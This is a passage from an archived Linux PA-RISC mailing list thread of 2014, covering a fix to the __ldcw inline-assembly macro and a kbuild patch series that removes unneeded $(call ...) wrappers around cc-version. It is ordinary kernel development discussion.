+/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.
+   We don't explicitly expose that "*a" may be written as reload
+   fails to find a register in class R1_REGS when "a" needs to be
+   reloaded when generating 64-bit PIC code.  Instead, we clobber
+   memory to indicate to the compiler that the assembly code reads
+   or writes to items other than those listed in the input and output
+   operands.  This may pessimize the code somewhat but __ldcw is
+   usually used within code blocks surrounded by memory barriors.  */
 #define __ldcw(a) ({						\
 	unsigned __ret;						\
-	__asm__ __volatile__(__LDCW " 0(%2),%0"			\
-		: "=r" (__ret), "+m" (*(a)) : "r" (a));		\
+	__asm__ __volatile__(__LDCW " 0(%1),%0"			\
+		: "=r" (__ret) : "r" (a) : "memory");		\
 	__ret;							\
 })
 

--Apple-Mail-10-30804288
Content-Type: text/plain;
	charset=US-ASCII;
	format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-10-30804288--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix out-of-register compiler error in ldcw inline
 assembler function
Date: Mon, 15 Dec 2014 21:58:36 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <548F4B7C.8060508@gmx.de>
References: <20141021194614.GA14418@ls3530.box> <A73C80F5-1200-437F-9199-2B916E3457B4@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1418677138 17554 80.91.229.3 (15 Dec 2014 20:58:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Dec 2014 20:58:58 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 15 21:58:51 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y0cjC-0006AT-2z
	for glpp-linux-parisc@plane.gmane.org; Mon, 15 Dec 2014 21:58:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751039AbaLOU6t (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Dec 2014 15:58:49 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:50805 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751035AbaLOU6r (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Dec 2014 15:58:47 -0500
Original-Received: from [192.168.20.60] ([84.173.46.58]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0M86PB-1XnEbM16Rt-00vcud; Mon, 15 Dec 2014 21:58:37
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.2.0
In-Reply-To: <A73C80F5-1200-437F-9199-2B916E3457B4@bell.net>
X-Provags-ID: V03:K0:1CxqiK2NP3FLXOncDgiBpi6J3GJMu3rvTIaQL78XyvrXWT6Xb1v
 q5jrbCgnwEuoTMySh+DnSUnVUnvOfH77WK3uzBpr3LcgFU6pkDiylmWPng+FaNklF6DKpwm
 0PBPjEr/8zgj70yX4lpup0AVQhk25WYOVlG7n1s2izCptYG/uxN5R/JJH/bnOoLfV9W5Tet
 nYiHeolVtQxKgw7y6zXSQ==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25506
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25506>

Hi Dave,

On 12/14/2014 04:49 PM, John David Anglin wrote:
> On 21-Oct-14, at 3:46 PM, Helge Deller wrote:
>> Sometimes we face this compiler error:
>>
>> arch/parisc/include/asm/ldcw.h:39:2: error: can't find a register in class 'R1_REGS' while reloading 'asm'
>>     __asm__ __volatile__(__LDCW " 0(%2),%0"...
>>     note: in expansion of macro '__ldcw'
>>     error: 'asm' operand has impossible constraints
>>
>
>
> Helge, could you test the attached patch.  Updated comment in change explains the "memory"
> clobber.  It's been lightly tested.

Your patch seems to do the right thing, and it's nicer.
I didn't faced any compiler issues with it, but still want to test it some more, but I think that's the best approach.
Do you mind sending a full patch to the list ?

Thanks,
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix out-of-register compiler error in ldcw inline
 assembler function
Date: Mon, 15 Dec 2014 16:45:18 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <BLU436-SMTP65B94A3C7BF6B84ED90B87976F0@phx.gbl>
References: <20141021194614.GA14418@ls3530.box> <A73C80F5-1200-437F-9199-2B916E3457B4@bell.net> <548F4B7C.8060508@gmx.de> <BLU436-SMTP141439F4C676F97CF7D44EB976F0@phx.gbl> <548F5251.4070708@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="windows-1252"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1418680306 2807 80.91.229.3 (15 Dec 2014 21:51:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Dec 2014 21:51:46 +0000 (UTC)
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 15 22:51:39 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y0dYG-0005zX-Hu
	for glpp-linux-parisc@plane.gmane.org; Mon, 15 Dec 2014 22:51:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750989AbaLOVv3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Dec 2014 16:51:29 -0500
Original-Received: from blu004-omc4s19.hotmail.com ([65.55.111.158]:60562 "EHLO
	BLU004-OMC4S19.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750983AbaLOVv1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Dec 2014 16:51:27 -0500
X-Greylist: delayed 301 seconds by postgrey-1.27 at vger.kernel.org; Mon, 15 Dec 2014 16:51:27 EST
Original-Received: from BLU436-SMTP65 ([65.55.111.135]) by BLU004-OMC4S19.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Mon, 15 Dec 2014 13:45:11 -0800
X-TMN: [+uffiws5jlPf0uTJ65F7WDGZ8+f+VASX]
X-Originating-Email: [dave.anglin@bell.net]
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.6.0
In-Reply-To: <548F5251.4070708@gmx.de>
X-OriginalArrivalTime: 15 Dec 2014 21:45:09.0966 (UTC) FILETIME=[661446E0:01D018B0]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25507
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25507>

On 12/15/2014 4:27 PM, Helge Deller wrote:
> Hi Dave,
>
> On 12/15/2014 10:25 PM, John David Anglin wrote:
>> On 12/15/2014 3:58 PM, Helge Deller wrote:
>>> Do you mind sending a full patch to the list ?
>> Thought I did.  Was something missing?
>
> A nice changelog and title for the patch...
> I could copy over your comments from that patch, but maybe you want to 
> rephrase it, so that it actually comes from you.
> You can send me the wording here in mail as well, then I'll put it 
> together.
I think the email subject is fine for the title.

For the comment:

The __ldcw macro has a problem when its argument needs to be reloaded from
memory.  The output memory operand and the input register operand both need
to be reloaded using a register in class R1_REGS when generating 64-bit 
code.
This fails because there's only a single register in the class. Instead, 
use a memory
clobber.  This also makes the __ldcw macro a compiler memory barrier.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen.5i5j@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] arch: uapi: asm: mman.h: Let MADV_FREE have same value
 for all architectures
Date: Wed, 24 Dec 2014 23:27:18 +0800
Lines: 26
Approved: news@gmane.org
Message-ID: <549ADB56.7060204@gmail.com>
References: <5480E715.3020900@gmail.com> <20141205065417.GA3358@bbox> <54822B19.2070804@gmail.com> <54832761.1050700@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1419434858 21981 80.91.229.3 (24 Dec 2014 15:27:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Dec 2014 15:27:38 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Joel Brobecker <brobecker@adacore.com>
To: "jejb@parisc-linux.org" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 24 16:27:31 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y3nqS-0004pC-Gz
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Dec 2014 16:27:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751366AbaLXP12 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Dec 2014 10:27:28 -0500
Original-Received: from mail-pa0-f45.google.com ([209.85.220.45]:46711 "EHLO
	mail-pa0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751365AbaLXP11 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Dec 2014 10:27:27 -0500
Original-Received: by mail-pa0-f45.google.com with SMTP id lf10so10224884pab.4;
        Wed, 24 Dec 2014 07:27:27 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=jKHyf1sQRKeAAYbvPzkT7ZlL2Pn044LkiWIoQoHU9Rc=;
        b=XKuhyM2JEIGvWyXMC2NDYAe4Ml3Oul55PIMZL2Z42voKwdkrAfBpyPaglyH8xTsG/+
         2Y6ammAcX/wpv2sMCuIfo265qJHYKTnGM6outIzXKTcooKLXUJycZSyE/iQCdMEsj1W0
         6qZBLDy1ImC3/lVDr/XqjW7Hsmy+H3dKziLOmjjXP2q2imDvJvMO3U9xHhCgxSyVJSxs
         Bxghpde7CVn/26+aAYUo17TckBsuuLf1no413fgi4aTxEi8raLbixE9H59XNMSucRkm+
         vx2LYeLlWIrWhbQ49rQ2L1xAza3gP5VpFnPhCFoFs5mcpo/uab+NgufxG0139B8Q7lF9
         2oQw==
X-Received: by 10.68.138.229 with SMTP id qt5mr54408295pbb.62.1419434847085;
        Wed, 24 Dec 2014 07:27:27 -0800 (PST)
Original-Received: from [192.168.1.102] ([223.72.65.65])
        by mx.google.com with ESMTPSA id sp6sm23290706pac.42.2014.12.24.07.27.22
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 24 Dec 2014 07:27:26 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.0
In-Reply-To: <54832761.1050700@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25508 gmane.linux.kernel:1855689
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25508>

On 12/06/2014 11:57 PM, Chen Gang wrote:
> Hello Maintainers:
> 
[...]
> 
> But for parisc gcc latest upstream compiler, I found several issues, and
> I shall try to analyse them and communicate with gcc related members.
> 

Oh, sorry, there is one my configuration issue when cross compiling
parisc, after give a correct configuration, most of issues are disapear.

Thanks.

[...]
> 

-- 
Chen Gang

Open, share, and attitude like air, water, and life which God blessed
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Masahiro Yamada <yamada.m@jp.panasonic.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 2/6] kbuild: do not add $(call ...) to invoke cc-version or cc-fullversion
Date: Thu, 25 Dec 2014 14:31:24 +0900
Lines: 150
Approved: news@gmane.org
Message-ID: <1419485488-22336-3-git-send-email-yamada.m@jp.panasonic.com>
References: <1419485488-22336-1-git-send-email-yamada.m@jp.panasonic.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1419485585 1295 80.91.229.3 (25 Dec 2014 05:33:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Dec 2014 05:33:05 +0000 (UTC)
Cc: Peter Oberparleiter <oberpar@linux.vnet.ibm.com>,
	Michal Marek <mmarek@suse.cz>,
	Masahiro Yamada <yamada.m@jp.panasonic.com>,
	Jonathan Corbet <corbet@lwn.net>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@redhat.com>,
	"H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
	Robert Richter <rrichter@cavium.com>,
	Andi Kleen <ak@linux.intel.com>, linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org
To: linux-kbuild@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 25 06:32:57 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y412e-00033f-Qd
	for glpp-linux-parisc@plane.gmane.org; Thu, 25 Dec 2014 06:32:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752347AbaLYFcz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Dec 2014 00:32:55 -0500
Original-Received: from smtp.mei.co.jp ([133.183.100.20]:55962 "EHLO smtp.mei.co.jp"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752307AbaLYFcv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Dec 2014 00:32:51 -0500
Original-Received: from mail-gw.jp.panasonic.com ([157.8.1.157])
	by smtp.mei.co.jp (8.12.11.20060614/3.7W/kc-maile12) with ESMTP id sBP5Vdq7029412;
	Thu, 25 Dec 2014 14:31:39 +0900 (JST)
Original-Received: from epochmail.jp.panasonic.com ([157.8.1.130])
	by mail.jp.panasonic.com (8.11.6p2/3.7W/kc-maili16) with ESMTP id sBP5VeM25777;
	Thu, 25 Dec 2014 14:31:40 +0900
Original-Received: by epochmail.jp.panasonic.com (8.12.11.20060308/3.7W/lomi14) id sBP5Vebk010295;
	Thu, 25 Dec 2014 14:31:40 +0900
Original-Received: from poodle
	by lomi14.jp.panasonic.com (8.12.11.20060308/3.7W) with ESMTP id sBP5VdDo010243;
	Thu, 25 Dec 2014 14:31:39 +0900
Original-Received: from beagle.diag.org (beagle.diag.org [10.184.179.16])
	by poodle (Postfix) with ESMTP id 968732743A5C;
	Thu, 25 Dec 2014 14:31:39 +0900 (JST)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1419485488-22336-1-git-send-email-yamada.m@jp.panasonic.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25509 gmane.linux.kbuild.devel:12606 gmane.linux.documentation:28923 gmane.linux.kernel:1855818 gmane.linux.ports.ppc64.devel:107905
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25509>

The macros cc-version, cc-fullversion and ld-version take no argument.
It is not necessary to add $(call ...) to invoke them.

Signed-off-by: Masahiro Yamada <yamada.m@jp.panasonic.com>
---

 Documentation/kbuild/makefiles.txt | 4 ++--
 arch/parisc/Makefile               | 2 +-
 arch/powerpc/Makefile              | 6 +++---
 arch/x86/Makefile.um               | 2 +-
 kernel/gcov/Makefile               | 2 +-
 scripts/Kbuild.include             | 7 ++-----
 6 files changed, 10 insertions(+), 13 deletions(-)

diff --git a/Documentation/kbuild/makefiles.txt b/Documentation/kbuild/makefiles.txt
index a311db8..7b3487a 100644
--- a/Documentation/kbuild/makefiles.txt
+++ b/Documentation/kbuild/makefiles.txt
@@ -524,7 +524,7 @@ more details, with real examples.
 	Example:
 		#arch/x86/Makefile
 		cflags-y += $(shell \
-		if [ $(call cc-version) -ge 0300 ] ; then \
+		if [ $(cc-version) -ge 0300 ] ; then \
 			echo "-mregparm=3"; fi ;)
 
 	In the above example, -mregparm=3 is only used for gcc version greater
@@ -552,7 +552,7 @@ more details, with real examples.
 
 	Example:
 		#arch/powerpc/Makefile
-		$(Q)if test "$(call cc-fullversion)" = "040200" ; then \
+		$(Q)if test "$(cc-fullversion)" = "040200" ; then \
 			echo -n '*** GCC-4.2.0 cannot compile the 64-bit powerpc ' ; \
 			false ; \
 		fi
diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index e9b4b6a..ff5e55f 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -149,7 +149,7 @@ endef
 # we require gcc 3.3 or above to compile the kernel
 archprepare: checkbin
 checkbin:
-	@if test "$(call cc-version)" -lt "0303"; then \
+	@if test "$(cc-version)" -lt "0303"; then \
 		echo -n "Sorry, GCC v3.3 or above is required to build " ; \
 		echo "the kernel." ; \
 		false ; \
diff --git a/arch/powerpc/Makefile b/arch/powerpc/Makefile
index 132d9c6..fc502e0 100644
--- a/arch/powerpc/Makefile
+++ b/arch/powerpc/Makefile
@@ -314,7 +314,7 @@ TOUT	:= .tmp_gas_check
 # - Require gcc 4.0 or above on 64-bit
 # - gcc-4.2.0 has issues compiling modules on 64-bit
 checkbin:
-	@if test "$(call cc-version)" = "0304" ; then \
+	@if test "$(cc-version)" = "0304" ; then \
 		if ! /bin/echo mftb 5 | $(AS) -v -mppc -many -o $(TOUT) >/dev/null 2>&1 ; then \
 			echo -n '*** ${VERSION}.${PATCHLEVEL} kernels no longer build '; \
 			echo 'correctly with gcc-3.4 and your version of binutils.'; \
@@ -322,13 +322,13 @@ checkbin:
 			false; \
 		fi ; \
 	fi
-	@if test "$(call cc-version)" -lt "0400" \
+	@if test "$(cc-version)" -lt "0400" \
 	    && test "x${CONFIG_PPC64}" = "xy" ; then \
                 echo -n "Sorry, GCC v4.0 or above is required to build " ; \
                 echo "the 64-bit powerpc kernel." ; \
                 false ; \
         fi
-	@if test "$(call cc-fullversion)" = "040200" \
+	@if test "$(cc-fullversion)" = "040200" \
 	    && test "x${CONFIG_MODULES}${CONFIG_PPC64}" = "xyy" ; then \
 		echo -n '*** GCC-4.2.0 cannot compile the 64-bit powerpc ' ; \
 		echo 'kernel with modules enabled.' ; \
diff --git a/arch/x86/Makefile.um b/arch/x86/Makefile.um
index 36b62bc..95eba55 100644
--- a/arch/x86/Makefile.um
+++ b/arch/x86/Makefile.um
@@ -30,7 +30,7 @@ cflags-y += -ffreestanding
 # Disable unit-at-a-time mode on pre-gcc-4.0 compilers, it makes gcc use
 # a lot more stack due to the lack of sharing of stacklots.  Also, gcc
 # 4.3.0 needs -funit-at-a-time for extern inline functions.
-KBUILD_CFLAGS += $(shell if [ $(call cc-version) -lt 0400 ] ; then \
+KBUILD_CFLAGS += $(shell if [ $(cc-version) -lt 0400 ] ; then \
 			echo $(call cc-option,-fno-unit-at-a-time); \
 			else echo $(call cc-option,-funit-at-a-time); fi ;)
 
diff --git a/kernel/gcov/Makefile b/kernel/gcov/Makefile
index 52aa7e8..6f01fa3 100644
--- a/kernel/gcov/Makefile
+++ b/kernel/gcov/Makefile
@@ -21,7 +21,7 @@ else
 # is not available. We can probably move if-lt to Kbuild.include, so it's also
 # not defined during clean or to include Kbuild.include in
 # scripts/Makefile.clean. But the following workaround seems least invasive.
-  cc-ver := $(if $(call cc-version),$(call cc-version),0)
+  cc-ver := $(if $(cc-version),$(cc-version),0)
 endif
 
 obj-$(CONFIG_GCOV_KERNEL) := base.o fs.o
diff --git a/scripts/Kbuild.include b/scripts/Kbuild.include
index a972666..69c9f57 100644
--- a/scripts/Kbuild.include
+++ b/scripts/Kbuild.include
@@ -136,17 +136,15 @@ cc-disable-warning = $(call try-run,\
 	$(CC) $(KBUILD_CPPFLAGS) $(KBUILD_CFLAGS) -W$(strip $(1)) -c -x c /dev/null -o "$$TMP",-Wno-$(strip $(1)))
 
 # cc-version
-# Usage gcc-ver := $(call cc-version)
 cc-version = $(shell $(KBUILD_SHELL) $(srctree)/scripts/gcc-version.sh $(CC))
 
 # cc-fullversion
-# Usage gcc-ver := $(call cc-fullversion)
 cc-fullversion = $(shell $(KBUILD_SHELL) \
 	$(srctree)/scripts/gcc-version.sh -p $(CC))
 
 # cc-ifversion
 # Usage:  EXTRA_CFLAGS += $(call cc-ifversion, -lt, 0402, -O1)
-cc-ifversion = $(shell [ $(call cc-version) $(1) $(2) ] && echo $(3))
+cc-ifversion = $(shell [ $(cc-version) $(1) $(2) ] && echo $(3))
 
 # cc-ldoption
 # Usage: ldflags += $(call cc-ldoption, -Wl$(comma)--hash-style=both)
@@ -164,13 +162,12 @@ ld-option = $(call try-run,\
 ar-option = $(call try-run, $(AR) rc$(1) "$$TMP",$(1),$(2))
 
 # ld-version
-# Usage: $(call ld-version)
 # Note this is mainly for HJ Lu's 3 number binutil versions
 ld-version = $(shell $(LD) --version | $(srctree)/scripts/ld-version.sh)
 
 # ld-ifversion
 # Usage:  $(call ld-ifversion, -ge, 22252, y)
-ld-ifversion = $(shell [ $(call ld-version) $(1) $(2) ] && echo $(3))
+ld-ifversion = $(shell [ $(ld-version) $(1) $(2) ] && echo $(3))
 
 ######
 
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Masahiro Yamada <yamada.m@jp.panasonic.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 0/6] kbuild: refactor Makefiles related with cc-version
Date: Thu, 25 Dec 2014 14:31:22 +0900
Lines: 22
Approved: news@gmane.org
Message-ID: <1419485488-22336-1-git-send-email-yamada.m@jp.panasonic.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1419485613 1613 80.91.229.3 (25 Dec 2014 05:33:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Dec 2014 05:33:33 +0000 (UTC)
Cc: Peter Oberparleiter <oberpar@linux.vnet.ibm.com>,
	Michal Marek <mmarek@suse.cz>,
	Masahiro Yamada <yamada.m@jp.panasonic.com>, x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	"H. Peter Anvin" <hpa@linux.intel.com>, linux-doc@vger.kernel.org,
	Jonathan Corbet <corbet@lwn.net>,
	Robert Richter <rrichter@cavium.com>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	linux-kernel@vger.kernel.org, Thomas Gleixner <tglx@linutronix.de>,
	Andi Kleen <ak@linux.intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Paul Mackerras <paulus@samba.org>,
	Ingo Molnar <mingo@redhat.com>, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org
To: linux-kbuild@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Dec 25 06:33:24 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Y4134-0003FZ-H3
	for glk-linux-kernel-3@plane.gmane.org; Thu, 25 Dec 2014 06:33:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752345AbaLYFcz (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 25 Dec 2014 00:32:55 -0500
Original-Received: from smtp.mei.co.jp ([133.183.100.20]:32840 "EHLO smtp.mei.co.jp"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752305AbaLYFcv (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 25 Dec 2014 00:32:51 -0500
Original-Received: from mail-gw.jp.panasonic.com ([157.8.1.157])
	by smtp.mei.co.jp (8.12.11.20060614/3.7W/kc-maile11) with ESMTP id sBP5VdR8009538;
	Thu, 25 Dec 2014 14:31:39 +0900 (JST)
Original-Received: from epochmail.jp.panasonic.com ([157.8.1.130])
	by mail.jp.panasonic.com (8.11.6p2/3.7W/kc-maili17) with ESMTP id sBP5VdA14208;
	Thu, 25 Dec 2014 14:31:39 +0900
Original-Received: by epochmail.jp.panasonic.com (8.12.11.20060308/3.7W/lomi14) id sBP5VdMg010266;
	Thu, 25 Dec 2014 14:31:39 +0900
Original-Received: from poodle
	by lomi14.jp.panasonic.com (8.12.11.20060308/3.7W) with ESMTP id sBP5Vdhh010226;
	Thu, 25 Dec 2014 14:31:39 +0900
Original-Received: from beagle.diag.org (beagle.diag.org [10.184.179.16])
	by poodle (Postfix) with ESMTP id 760612743A5C;
	Thu, 25 Dec 2014 14:31:39 +0900 (JST)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1855819 gmane.linux.kbuild.devel:12607 gmane.linux.documentation:28924 gmane.linux.ports.parisc:25510 gmane.linux.ports.ppc64.devel:107906
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1855819>




Masahiro Yamada (6):
  kbuild: fix cc-ifversion macro
  kbuild: do not add $(call ...) to invoke cc-version or cc-fullversion
  kbuild,gcov: remove unnecessary workaround
  kbuild,gcov: simplify kernel/gcov/Makefile
  kbuild: allow cc-ifversion to have the argument for false condition
  kbuild,gcov: simplify kernel/gcov/Makefile more

 Documentation/kbuild/makefiles.txt |  9 +++++----
 arch/parisc/Makefile               |  2 +-
 arch/powerpc/Makefile              |  6 +++---
 arch/x86/Makefile.um               |  2 +-
 kernel/gcov/Makefile               | 36 +++++-------------------------------
